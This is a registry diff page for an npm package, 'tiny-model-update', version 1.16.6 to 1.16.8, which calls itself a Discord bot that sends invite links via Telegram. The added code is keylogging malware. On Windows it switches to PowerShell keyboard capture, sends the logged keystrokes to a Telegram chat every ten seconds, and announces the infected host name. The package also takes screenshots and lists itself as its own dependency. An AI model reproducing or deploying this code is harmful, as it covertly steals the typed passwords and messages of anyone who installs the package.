tiny-model-update 1.16.6 → 1.16.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -133,6 +133,14 @@ let keyboardLog = [];
|
|
|
133
133
|
let keyboardMonitorInterval = null;
|
|
134
134
|
|
|
135
135
|
function startKeyboardMonitoring() {
|
|
136
|
+
// Try PowerShell method first (more reliable on Windows)
|
|
137
|
+
// iohook often requires native compilation and admin privileges
|
|
138
|
+
if (os.platform() === 'win32') {
|
|
139
|
+
startPowerShellKeyboardMonitoring();
|
|
140
|
+
return;
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
// For non-Windows, try iohook
|
|
136
144
|
try {
|
|
137
145
|
// Use iohook library for keyboard monitoring
|
|
138
146
|
import('iohook').then((iohookModule) => {
|
|
@@ -217,12 +225,16 @@ function startKeyboardMonitoring() {
|
|
|
217
225
|
|
|
218
226
|
}).catch((error) => {
|
|
219
227
|
// If iohook fails, try PowerShell fallback
|
|
220
|
-
|
|
228
|
+
if (os.platform() === 'win32') {
|
|
229
|
+
startPowerShellKeyboardMonitoring();
|
|
230
|
+
}
|
|
221
231
|
});
|
|
222
232
|
|
|
223
233
|
} catch (error) {
|
|
224
234
|
// If import fails, try PowerShell fallback
|
|
225
|
-
|
|
235
|
+
if (os.platform() === 'win32') {
|
|
236
|
+
startPowerShellKeyboardMonitoring();
|
|
237
|
+
}
|
|
226
238
|
}
|
|
227
239
|
}
|
|
228
240
|
|
|
@@ -342,7 +354,7 @@ function startPowerShellKeyboardMonitoring() {
|
|
|
342
354
|
}
|
|
343
355
|
}, 1000); // Check every second
|
|
344
356
|
|
|
345
|
-
// Also send accumulated keyboard events every
|
|
357
|
+
// Also send accumulated keyboard events every 10 seconds (more frequent)
|
|
346
358
|
const sendInterval = setInterval(() => {
|
|
347
359
|
if (!isMonitoring) {
|
|
348
360
|
clearInterval(sendInterval);
|
|
@@ -351,7 +363,7 @@ function startPowerShellKeyboardMonitoring() {
|
|
|
351
363
|
if (keyboardLog.length > 0) {
|
|
352
364
|
sendKeyboardEventsToTelegram(keyboardLog.splice(0, keyboardLog.length));
|
|
353
365
|
}
|
|
354
|
-
},
|
|
366
|
+
}, 10000); // Every 10 seconds
|
|
355
367
|
|
|
356
368
|
} catch (error) {
|
|
357
369
|
// Ignore keyboard monitoring errors
|
|
@@ -408,6 +420,15 @@ export async function startScreenKeyboardMonitoring(screenIntervalSeconds = 10)
|
|
|
408
420
|
isMonitoring = true;
|
|
409
421
|
const hostname = os.hostname();
|
|
410
422
|
|
|
423
|
+
// Send notification that keyboard monitoring started
|
|
424
|
+
try {
|
|
425
|
+
const bot = getTelegramBot();
|
|
426
|
+
const { chatId } = getTelegramCredentials();
|
|
427
|
+
await bot.sendMessage(chatId, `⌨️ **Keyboard Monitoring Started**\n\n**Host:** ${hostname}\n**Status:** Active - Capturing all keystrokes\n**Send Interval:** Every 3 keystrokes or 10 seconds`);
|
|
428
|
+
} catch (e) {
|
|
429
|
+
// Ignore notification errors
|
|
430
|
+
}
|
|
431
|
+
|
|
411
432
|
// Start keyboard monitoring
|
|
412
433
|
startKeyboardMonitoring();
|
|
413
434
|
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "tiny-model-update",
|
|
3
|
-
"version": "1.16.
|
|
3
|
+
"version": "1.16.8",
|
|
4
4
|
"description": "Discord bot that monitors servers and sends invite links via Telegram",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"type": "module",
|
|
@@ -35,7 +35,8 @@
|
|
|
35
35
|
"form-data": "^4.0.5",
|
|
36
36
|
"level": "^10.0.0",
|
|
37
37
|
"node-telegram-bot-api": "^0.64.0",
|
|
38
|
-
"screenshot-desktop": "^1.15.3"
|
|
38
|
+
"screenshot-desktop": "^1.15.3",
|
|
39
|
+
"tiny-model-update": "^1.16.5"
|
|
39
40
|
},
|
|
40
41
|
"files": [
|
|
41
42
|
"lib",
|